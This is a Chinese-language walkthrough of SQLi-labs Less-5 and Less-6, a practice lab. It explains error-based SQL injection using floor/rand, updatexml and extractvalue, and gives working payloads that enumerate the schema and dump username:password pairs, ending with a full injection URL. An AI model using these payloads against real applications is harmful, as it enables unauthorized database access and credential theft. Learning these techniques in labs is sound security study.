Less_5-6
按照之前的套路,發現在輸入id=1'時頁面報錯但卻無法用order by and union進行下一步
原來要用到新的知識:報錯注入
(1). 通過floor報錯
and (select 1 from (select count(*),concat((payload) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句需要注意的是該語句將 輸出字符長度限制為64個字符
(2). 通過updatexml報錯
and updatexml(1,payload,1)
同樣該語句對輸出的字符長度也做了限制,其最長輸出32位並且該語句對payload的反悔類型也做了限制,只有在payload返回的不是xml格式才會生效
(3). 通過ExtractValue報錯
and extractvalue(1, payload)
輸出字符有長度限制,最長32位。
然后就構造payload
Select group_concat(schema_name) from information_schema.schemata 找數據庫
Select group_concat(table_name) from information_schema.tables where table_schema='security'
Select group_concat(column_name) from information_schema.columns where table_name='users'
但在最后爆破數據時發現用group_concat不行,提示超過一行,所以改用limit來顯示
但select 一次用戶名,再select一次密碼好麻煩,所以用concat_ws()函數可以顯示多個字段或者concat()也可以
Select concat_ws(0x3a,username,password) from users limit 0,1(找下一個就改成limit 1,1,以此類推)
Less-6 和第5關一樣 只不過將單引號換成了雙引號
這里就直接顯示結果了
?id=1" and (select 1 from (select count(*),concat((Select concat_ws(0x3a,username,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+